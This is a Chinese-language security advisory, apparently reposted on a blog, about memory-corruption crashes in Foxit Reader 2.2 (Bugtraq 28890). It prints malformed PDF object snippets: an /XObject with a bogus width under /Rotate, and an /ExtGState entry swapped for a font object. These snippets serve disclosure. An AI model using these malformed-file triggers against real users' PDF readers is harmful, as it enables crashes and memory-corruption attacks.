Foxit Reader处理包含有畸形/XObject资源的网页时存在漏洞,用户在处理恶意文件时会导致Foxit Reader崩溃

Foxit Reader处理包含有畸形/XObject资源的网页时存在漏洞,用户在处理恶意文件时会导致Foxit Reader崩溃

 

 

受影响系统:
Foxit Foxit Reader 2.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 28890

Foxit Reader是一款小型的PDF文档查看器和打印程序。

Foxit Reader处理包含有畸形/XObject资源的网页时存在漏洞,用户在处理恶意文件时会导致Foxit Reader崩溃。

当使用Foxit Reader旋转包含有畸形/XObject资源的网页时(或向页面添加了/Rotate字段):

4 0 obj

<< /Type /Page

/Parent 3 0 R

/Rotate 170

/Contents [ 25 0 R ]

/Resources <<

/ProcSet [ /PDF /Text /ImageB /ImageC ]

/XObject <</Im23 23 0 R>>/Font << /TT3 33 0 R  >>>>

>>

endobj

 

23 0 obj

<</Length 11643/Filter/DCTDecode/Width -28986631481/Height 5/BitsPerComponent 8/ColorSpace/DeviceRGB/Type/#6eject/Name/&#141;#4825#6#25n#00°#6e#6en#25n#72&Acirc;&#402;&Eacute;#25n&#8482;#r3/Subtype/Image>>

stream

........................

endstream

endobj

如果修改了宽度和高度字段,Foxit就会对各种内存地址执行无效的写访问。

在解析畸形的/ExtGState资源时也存在内存破坏漏洞。在这种情况下用/Font资源替换了ExtGState资源,但资源类型仍为ExtGState:

261 0 obj

<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF /Text] /ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>

endobj

 

7 0 obj

<</FirstChaaa 1

/Type /Funt /FontDescriptor  23 0 R

/BaseFont /xxxxxxxxxxxxxxxxoman,Italic

/Subtype /TrueType

/Encoding /WinAnsiEncoding

/LaitChar 211

/Wodths [    ]

>>

endobj

 

23 0 obj

<</zzz9&eth;E /oooooo>>

endobj

一些函数解析任何资源类型的任何字段,因此当/ExtGState资源下存在/Font字段时,仍会读取并解释这些字段,导致用错误的数据填充所分配的结构。

<*来源:Javier Vicente Vallejo
 
  链接:http://www.vallejo.cc/proyectos/foxitreader1.htm
        http://www.vallejo.cc/proyectos/foxitreader2.htm
        http://secunia.com/advisories/29934/
*>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Foxit Reader是一款功能强大的免费PDF阅读器。它具有一系列先进的功能使得阅读和管理PDF文件变得更加简便和高效。 首先,Foxit Reader提供了快速、流畅的PDF阅读体验。它可以快速打开和加载PDF文件,而且具有流畅的滚动和缩放功能。用户可以轻松地浏览长篇文档,并可以根据需要进行放大或缩小页面,以便更好地查看细节。 其次,Foxit Reader具有注释和标记功能。用户可以在PDF文档上进行高亮、划线、笔记和批注等操作,从而更好地标记重要信息或与他人进行协作。此外,它还支持添加书签和目录,帮助用户快速定位和跳转至所需的内容位置。 另外,Foxit Reader还提供了丰富的PDF文档管理功能。用户可以进行文件的复制、剪切、粘贴和删除等操作,使得 PDF 文件的管理变得非常方便。它还支持将PDF文件转换为其他格式,比如Word或Excel,以便在编辑和修改更加灵活和方便。 此外,Foxit Reader具有安全和隐私保护功能。它支持通过加密和密码保护来保障PDF文件的安全性。用户还可以设置权限和限制访问内容,以便确保敏感信息不被未经授权的人员访问。 总之,Foxit Reader是一款功能丰富、易用且免费的PDF阅读器。它提供了优秀的阅读体验和PDF文档管理功能,帮助用户更高效地处理和管理PDF文件。无论是用于学习、工作还是娱乐,Foxit Reader都是一个绝佳的选择。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值